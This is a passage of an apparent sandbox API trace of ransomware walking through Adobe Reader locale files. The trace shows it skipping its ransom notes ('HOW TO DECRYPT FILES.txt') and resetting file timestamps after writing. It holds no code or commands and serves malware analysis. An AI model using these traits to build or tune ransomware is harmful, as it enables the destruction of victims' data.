(x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.499] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="IA32.DAN", cAlternateFileName="")) returned 1 [0070.499] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.499] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IA32.DAN") returned -1 [0070.499] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IA32.DAN") returned -1 [0070.499] lstrcmpiA (lpString1="", lpString2="IA32.DAN") returned -1 [0070.499] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\EScript.DAN") returned="EScript.DAN" [0070.499] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.499] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.500] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x74, dwReserved1=0x0, cFileName="makeaccessible.DAN", cAlternateFileName="MAKEAC~1.DAN")) returned 1 [0070.500] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.500] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="makeaccessible.DAN") returned -1 [0070.500] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="makeaccessible.DAN") returned -1 [0070.500] lstrcmpiA (lpString1="", lpString2="makeaccessible.DAN") returned -1 [0070.500] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\IA32.DAN") returned="IA32.DAN" [0070.500] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.500] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.500] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x74, dwReserved1=0x0, cFileName="Multimedia.DAN", cAlternateFileName="MULTIM~1.DAN")) returned 1 [0070.500] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.500] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Multimedia.DAN") returned -1 [0070.500] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Multimedia.DAN") returned -1 [0070.500] lstrcmpiA (lpString1="", lpString2="Multimedia.DAN") returned -1 [0070.500] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\makeaccessible.DAN") returned="makeaccessible.DAN" [0070.500] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.501] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.501] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="pddom.DAN", cAlternateFileName="")) returned 1 [0070.501] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.501] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pddom.DAN") returned -1 [0070.501] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pddom.DAN") returned -1 [0070.501] lstrcmpiA (lpString1="", lpString2="pddom.DAN") returned -1 [0070.501] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Multimedia.DAN") returned="Multimedia.DAN" [0070.501] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.501] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.501] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f000, dwReserved0=0x74, dwReserved1=0x0, cFileName="PPKLITE.DAN", cAlternateFileName="")) returned 1 [0070.501] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.501] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PPKLITE.DAN") returned -1 [0070.501] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PPKLITE.DAN") returned -1 [0070.501] lstrcmpiA (lpString1="", lpString2="PPKLITE.DAN") returned -1 [0070.502] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\pddom.DAN") returned="pddom.DAN" [0070.502] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.502] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.502] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="RdLang32.DAN", cAlternateFileName="")) returned 1 [0070.502] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.502] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RdLang32.DAN") returned -1 [0070.502] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RdLang32.DAN") returned -1 [0070.502] lstrcmpiA (lpString1="", lpString2="RdLang32.DAN") returned -1 [0070.502] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\PPKLITE.DAN") returned="PPKLITE.DAN" [0070.502] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.502] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.502] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="ReadOutLoud.DAN", cAlternateFileName="READOU~1.DAN")) returned 1 [0070.502] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.502] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ReadOutLoud.DAN") returned -1 [0070.502] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ReadOutLoud.DAN") returned -1 [0070.503] lstrcmpiA (lpString1="", lpString2="ReadOutLoud.DAN") returned -1 [0070.503] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\RdLang32.DAN") returned="RdLang32.DAN" [0070.503] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.503] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.503] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x74, dwReserved1=0x0, cFileName="reflow.DAN", cAlternateFileName="")) returned 1 [0070.503] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.503] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="reflow.DAN") returned -1 [0070.503] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="reflow.DAN") returned -1 [0070.503] lstrcmpiA (lpString1="", lpString2="reflow.DAN") returned -1 [0070.503] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\ReadOutLoud.DAN") returned="ReadOutLoud.DAN" [0070.503] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.503] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.503] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x74, dwReserved1=0x0, cFileName="SaveAsRTF.DAN", cAlternateFileName="SAVEAS~1.DAN")) returned 1 [0070.503] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.503] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SaveAsRTF.DAN") returned -1 [0070.504] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SaveAsRTF.DAN") returned -1 [0070.504] lstrcmpiA (lpString1="", lpString2="SaveAsRTF.DAN") returned -1 [0070.504] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\reflow.DAN") returned="reflow.DAN" [0070.504] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.504] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.504] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Search.DAN", cAlternateFileName="")) returned 1 [0070.504] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.504] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Search.DAN") returned -1 [0070.504] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Search.DAN") returned -1 [0070.504] lstrcmpiA (lpString1="", lpString2="Search.DAN") returned -1 [0070.504] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SaveAsRTF.DAN") returned="SaveAsRTF.DAN" [0070.504] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.504] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.504] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="SendMail.DAN", cAlternateFileName="")) returned 1 [0070.505] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.505] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SendMail.DAN") returned -1 [0070.505] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SendMail.DAN") returned -1 [0070.505] lstrcmpiA (lpString1="", lpString2="SendMail.DAN") returned -1 [0070.505] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Search.DAN") returned="Search.DAN" [0070.505] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0070.505] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="" [0070.505] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x74, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0070.505] lstrcmpA (lpString1=".", lpString2="Services") returned -1 [0070.505] lstrcmpA (lpString1="..", lpString2="Services") returned -1 [0070.505] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\SendMail.DAN") returned="SendMail.DAN" [0070.505] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4f70b2, cFileName=".", cAlternateFileName="")) returned 0x502698 [0070.506] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0070.506] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0070.506] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0070.506] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0070.506] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8ca7, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0070.506] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.506] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DEXShare.asfx") returned 1 [0070.506] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DEXShare.asfx") returned 1 [0070.506] lstrcmpiA (lpString1="", lpString2="DEXShare.asfx") returned -1 [0070.506] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\*.*") returned="*.*" [0070.506] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\" [0070.506] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\") returned="" [0070.512] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.512] CloseHandle (hObject=0x98) returned 1 [0070.513] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0070.513] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0070.513] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Services.asfx") returned -1 [0070.513] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Services.asfx") returned -1 [0070.513] lstrcmpiA (lpString1="", lpString2="Services.asfx") returned -1 [0070.513] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\DEXShare.asfx") returned="DEXShare.asfx" [0070.513] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\" [0070.513] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Services\\") returned="" [0070.513] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0070.513] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0070.514] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, 